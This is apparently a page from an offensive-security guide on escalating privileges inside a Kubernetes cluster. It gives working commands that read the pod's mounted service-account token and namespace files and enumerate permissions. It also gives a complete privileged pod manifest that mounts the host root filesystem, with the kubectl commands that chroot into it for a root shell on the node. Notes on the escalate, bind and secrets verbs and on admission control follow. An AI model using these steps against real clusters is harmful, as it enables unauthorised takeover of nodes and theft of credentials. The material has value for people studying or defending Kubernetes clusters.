Exploit cluster permissions¶
Escalate through the cluster’s own API rather than through the container boundary:
Read the service account token the pod was given and establish what it may do
Ask the API for a pod that has what the current one lacks
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
kubectl auth can-i --list
Example: create a pod, get the node¶
Permission to create pods in a namespace is usually equivalent to root on whichever node schedules them, because a pod specification is allowed to ask for the things a container escape would otherwise have to take.
apiVersion: v1
kind: Pod
metadata:
name: maintenance
spec:
hostPID: true
hostNetwork: true
containers:
- name: shell
image: alpine
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
kubectl apply -f maintenance.yaml
kubectl exec -it maintenance -- chroot /host /bin/sh
Other verbs reach the same place by shorter routes. Reading secrets in a namespace collects whatever tokens live
there, pods/exec enters a pod that is already more privileged, and permission to create a workload controller
creates pods indirectly where direct creation is denied.
Notes¶
The escalate verb exists in the authorisation model precisely because a principal otherwise cannot grant
permissions it does not hold. Where it has been granted, role editing is unrestricted. The bind verb reaches the
same outcome by attaching an existing role rather than writing a new one.
Admission control is what stands between a pod specification and the node, so the question of whether privileged pods are refused is separate from the question of who may create pods. A cluster without an enforcing admission policy treats the two as the same permission.
Service account tokens are mounted into pods by default unless the account or the pod opts out, so a compromised application usually holds one whether or not it was ever meant to talk to the API.
A node’s own credentials are scoped by the node authoriser to the objects scheduled on it, which limits what reaching one node yields, and does nothing about the workloads already running there.